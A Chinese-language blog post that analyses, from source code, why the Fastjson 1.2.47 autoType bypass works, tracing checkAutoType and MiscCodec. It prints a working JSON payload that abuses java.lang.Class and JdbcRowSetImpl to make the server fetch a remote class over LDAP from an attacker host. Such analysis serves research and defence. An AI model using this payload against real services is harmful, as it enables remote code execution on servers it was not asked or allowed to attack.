本篇共 660702 字

漏洞利用原理之fastjson-1.2.47

作者:hobby云说   分类:漏洞利用原理   发布时间:2021年11月21日

非常火爆的fastjson-1.2.47漏洞,利用原理也是异常精彩,发现oday的这位大佬也是想法独特!

前言

Fastjson是咱们中国人发明的一个Java库,来自阿里巴巴的温少,它可以把Java对象转换为Json格式,同时,它也可以把json字符串转换为Java对象。它可以操作任何的Java对象,即便是一些预先存在,但没有源码的对象。正是因为这一点,给了安全界大佬们可乘之机,自1.2.24版本开始,温少就一直和他们不断斡旋,打着回合战。修复一个版本,过没多久又来一个绕过,攻防过程好不精彩。

截止今天现在2020.11.15 22:30,已经更新到1.2.75版本了,在此版本之前,从1.2.24版本第一个它的反序列化漏洞到1.2.47版本再到1.2.68版本三个经典漏洞,本文从1.2.47版本展开讲解,在hacker远程控制的艺术之fastjson1.2.47漏洞利用(下文简称上文)中,我介绍了如何利用这个漏洞实现远程连接,本文就不过多赘述,着重讲解为什么能这样利用,从源码的角度进行剖析此洞的利用原理

正文

Fastjson通过parseparseObject处理以json结构传入的类的字符串形时,会默认调用该类的共有setter与构造函数,并在合适的触发条件下调用该类的getter方法。当传入的类中settergetter方法中存在利用点时,攻击者就可以通过传入可控的类的成员变量进行攻击利用。com.sun.rowset.JdbcRowSetImpl这条利用链用到的是类中setter方法的缺陷,而TemplatesImpl利用链则用到的是getter方法缺陷(此处引用天融信对fastjson的研究用通俗的语言解释就是,fastjson在反序列化的时候,可以通过某种方式设置调用类的传入参数来实现直接/间接的调用攻击类。

payload如下:

{

    "a": {          

           "@type": "java.lang.Class",

           "val": "com.sun.rowset.JdbcRowSetImpl"

        },

    "b": {

           "@type": "com.sun.rowset.JdbcRowSetImpl",

           "dataSourceName": "ldap://172.28.186.9:9999/#TouchFile1",

           "autoCommit": true

        }

}

整体利用的过程是首先反序列化第一个json对象a,通过java.lang.class类(此类并不在1.2.47版本的黑名单里面)所以可以跳过,将com.sun.rowset.JdbcRowSetImpl类加载到mapping缓存,因为在fastjson的机制里,如果遇到没有加载到缓存里的类,在执行checkautotype方法的时候,会抛出异常并终止运行,如此一来便可以绕过autotype

之前我一直有个疑惑,是不是关闭autotype后,@type就不能使用了,直到我看到了源码,才发现我错了,json文件从parser方法传入(具体中间如何走的我就不具体分析了,有兴趣的话可以看看源码),通过DEFAULT_TYPE_KEY获取传入的@typy的值,如下图

之后会调用checkAutoType方法


下面我们来看下这个checkAutoType方法,分autoTypeSupport开启和关闭两种情况,下图为第一种情况

在开启时,先将传入的类名hash化,然后和白名单的hash对比,如果有存在,就通过loadclass类加载这个传入的类即java.lang.class,并返回这个传入的类即java.lang.class。如果不在白名单里面,就来到第二个判断,如果在黑名单里面,同时不在白名单里面,那么就返回“autoType is not support java.lang.class,那么此时问题来了,那如果不在黑名单里面呢?就会继续跳过上面两个判断,就成功的绕过了checkautotype的检测,并加载java.lang.class。我个人理解在开启的时候是黑名单模式,如果在黑名单就报错。

在关闭时,上边的判断条件返回null,直接进入getClassFromMapping方法,去map里面查找是否有java.lang.class,如果没有,就进入到下一个deserializers方法进行查找如果还没有,就抛出异常了

               


从上图可以看到mapping是由存放在fastjson-1.2.47/src/main/java/com/alibaba/fastjson/util/TypeUtils.javaaddBaseClassMappings()这个方法方法去添加的,从名字来看,mappings就是一个预先加载的基础类,显然这里面并没有java.lang.class,所以进入到下一个if判断条件中,调用deserializers.findClass查找java.lang.class


从源码来看,就是在buckets里面查找key值是否存在java.lang.class,如果有,就返回这个calssname,那么问题又来了,啥是buckets呢?我从源码里翻到了下面这一串,我个人猜测就是一个IdentityHashMap。好了问题到这里还不是很清楚,那么究竟这个buckets里面有没有java.lang.class呢?答案是有的,通过构造一个请求,经debug,发现在这个里面找到了,如下图


checkautotypejava.lang.class返回给clazz之后,便会把值传到deserialze()这个方法中,如下图


deserialze()这个方法会做三个处理,fastjson-1.2.47/src/main/java/com/alibaba/fastjson/serializer/MiscCodec.java

首先,判断jason字串中是否有val,如果有,就取出来传给objVal变量:


然后,再传给strVal;


最后,调用TypeUtils.loadClass处理strVal值,精彩的地方来了,显然可以看到会调用TypeUtils.loadClass处理,紧接着当然是加载进mappings。(这整个源码见fastjson-1.2.24/fastjson-1.2.24/src/main/java/com/alibaba/fastjson/serializer/MiscCodec.java文件下的deserialze()方法的定义,这里我只将几个关键点截了出来。)换句话说就是,如果这个val值是class,那么就将其加载进mappings,回过头看下我们制造的poc,第一段json中的val值是com.sun.rowset.JdbcRowSetImpl,这个值是早在之前的版本已经被加入黑名单了,而经过上边这么一番斗转星移,又把它加载进了,俨然一副重获新生的面貌


说到这里,精彩的绕过部分已经讲解完毕,接下来就是反序列化第二个json,这里我再单独贴一下, 和第一部分一样的反序列化过程,这里就会用到com.sun.rowset.JdbcRowSetImpl利用链(下文简称利用链)它的特性了。

    "b": {

           "@type": "com.sun.rowset.JdbcRowSetImpl",

           "dataSourceName": "ldap://172.28.186.9:9999/#TouchFile1",

           "autoCommit": true

        }

啥是com.sun.rowset.JdbcRowSetImpl利用链呢?这里我不展开讲,有空会单独再出一篇相关的文章。利用链会通过setAutoCommit()方法来调用lookup()方法的函数,而lookup()的参数是通过getDataSourceName()方法获取,这么一来,是不是就明白上面这个json对象这么写的原因了吧。那么还有一个疑惑,我要如何调用远程的恶意攻击类呢?我们知道有个一叫RMI的东西,全称为远程方法调用,这个是java的一个调用机制,它有一个reference的功能,ldap也同样有这个功能,可以让远程调用对象获取rmi/ldap服务器上的引用对象,指定远程地址和需要调取的类,就可以被调用了。

回到正题,调用了这个恶意类,就可以通过jndi server下载远程类,并执行远程类,这里有个小小的点需要注意,通过jndi执行需要在java 8u191之前的版本环境下,否则也是无法实现的。

总结

一句话总结一下,通过不在黑名单,也不在白名单,但存在基础缓存里面的java.lang.class这个类,绕过autotype的安全机制,从而将已经在黑名单的com.sun.rowset.JdbcRowSetImpl类加载到缓存类中,实现远程调用恶意类进行攻击

fastjson1.2.47的利用原理比之前复杂了太多,绕过的精髓点从源码层面看是比较清晰明了,但是整个过程还是非常精彩的,后续还有1.2.68版本据说已经被攻破,但是目前公网上还并没有暴露poc,接下来将会继续研究,期待新版本的利用过程,应该也同样精彩吧~



本篇文章最后修改于:2021年11月21日

文章标签: 漏洞
下一篇: 没有了!
本篇共 0 条评论

留言内容:

还没有任何评论!

你还没有登录,请 登录 后再评论!还没有账号,请前往 注册

文章归档

最新评论

还没有任何评论!